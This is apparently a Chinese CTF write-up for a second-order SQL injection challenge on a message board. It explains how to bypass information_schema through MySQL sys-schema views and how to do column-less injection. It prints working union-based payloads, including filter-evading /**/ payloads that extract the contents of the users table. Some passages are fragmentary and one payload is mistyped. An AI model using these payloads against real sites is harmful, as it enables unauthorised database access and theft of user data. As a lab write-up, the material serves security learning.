0x00 知识点
bypass information_schema
参考链接:
https://www.anquanke.com/post/id/193512
进行bypass之前先了解一下mysql中的information_schma这个库是干嘛的,在SQL注入中它的作用是什么,那么有没有可以替代这个库的方法呢?
information_schema:
简单来说,这个库在mysql中就是个信息数据库,它保存着mysql服务器所维护的所有其他数据库的信息,包括了数据库名,表名,字段名等。
在注入中,infromation_schema库的作用无非就是可以获取到table_schema,table_name,column_name这些数据库内的信息。
MySQL5.7的新特性:
由于performance_schema过于发杂,所以mysql在5.7版本中新增了sys schemma,基础数据来自于performance_chema和information_schema两个库,本身数据库不存储数据。
mysql默认是关闭InnoDB存储引擎的
注入中在mysql默认情况下就可以替代information_schema库的方法
schema_auto_increment_columns,该视图的作用简单来说就是用来对表自增ID的监控。
schema_auto_increment_columns视图的作用,也可以发现我们可以通过该视图获取数据库的表名信息
想通过注入获取到没有自增主键的表的数据怎么办?
schema_table_statistics_with_buffer,x$schema_table_statistics_with_buffer
payload:
schema_auto_increment_columns
?id=-1' union all select 1,2,group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=database()--+
schema_table_statistics_with_buffer
?id=-1' union all select 1,2,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()--+
获取字段名
获取第一列的列名 ?id=-1' union all select*from (select * from users as a join users b)c--+
获取次列及后续列名
?id=-1' union all select*from (select * from users as a join users b using(id,username))c--+
限制:
mysql ≥ 5.7版本
般要超级管理员才可以访问sys
2:无列名注入
参考链接:
https://www.jianshu.com/p/6eba3370cfab
在 mysql => 5 的版本中存在库information_schema,记录着mysql中所有表的结构,通常,在mysql sqli中,我们会通过此库中的表去获取其他表的结构,即表名,列名等。但是这个库也会经常被WAF过滤。当我们通过暴力破解获取到表名后,该如何进行下一步利用呢?
在information_schema中,除了SCHEMATA,TABLES,COLUMNS有表信息外,高版本的mysql中,还有INNODB_TABLES及INNODB_COLUMNS中记录着表结构。
正常查询:
使用union查询:
就可以继续使用数字来对应列,如2对应了表里面的用户名:
当 ` 不能使用的时候,使用别名来代替:
反单引号表示列名或者表名
在注入中查询多个列:
语句
一般都是:
(select `2` from (select 1,2,3 union select * from table_name)a) //前提是要知道表名
((select c from (select 1,2,3 c union select * from users)b)) 1,2,3是因为users表有三列,实际情况还需要猜测表的列的数量
0x01解题
这是一个留言板的二次注入
登录了之后在发布广告处存在sql注入漏洞,我们输入的内容在输入后没有漏洞,当我们发布广告后查看广告详情的时候就造成了二次注入,从而产生了注入。
题目环境过滤了空格,我们使用/**/来进行绕过过滤了or,因此我们无法使用order by 以及information_schema这个库因为过滤了注释符,所以查询语句的最后我们要闭合单引号
本题在但是比赛中
bypass information_schema
是利用的
sys.schema_auto_increment_columns 库来进行查询
导致网上很多wp都是这样写的。。
实际上本题无法使用
buuoj的平台没有 sys.schema_auto_increment_columns 这个库
而且一般要超级管理员才可以访问sys
所以一般还可以用这个方法
在buuctf环境中这个也不行
还有一种方法:
前提是users表存在
但是这个方法也不行 ,polygon和lingstring被过滤
那么我们看似有多种解法,其实BUU环境下这个题目我们只能进行无列名注入
首先,我们先确定列数:
1'//union//select//1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/
接下来就逐一的增加或者是减少列数就行了,一个一个的试,最后发现列数有22列,显示位在2,3位
注意,在无列名注入的时候 一定要和表的列数相同 不然会报错 慢慢试。。最后发现users里有三列
我们是采用的子查询的方式,子查询是将一个查询语句嵌套在另一个查询语句中,在特定的情况下,一个查询语句的条件需要另一个查询语句来获取,内层查询语句的查询结果,可以为外层查询语句提供查询条件。
这里我们将users这个表里面的查询的结果提供给外部查询,同时把列名转换成a,b,这样我们后面就直接查询a,b列就可以获得结果
-1'/**/union/**/select/**/1, (select/**/group_concat(a)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/sele ct*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
直接查询b列试试
-1'/**/union/**/select/**/1, (select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/sele ct*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'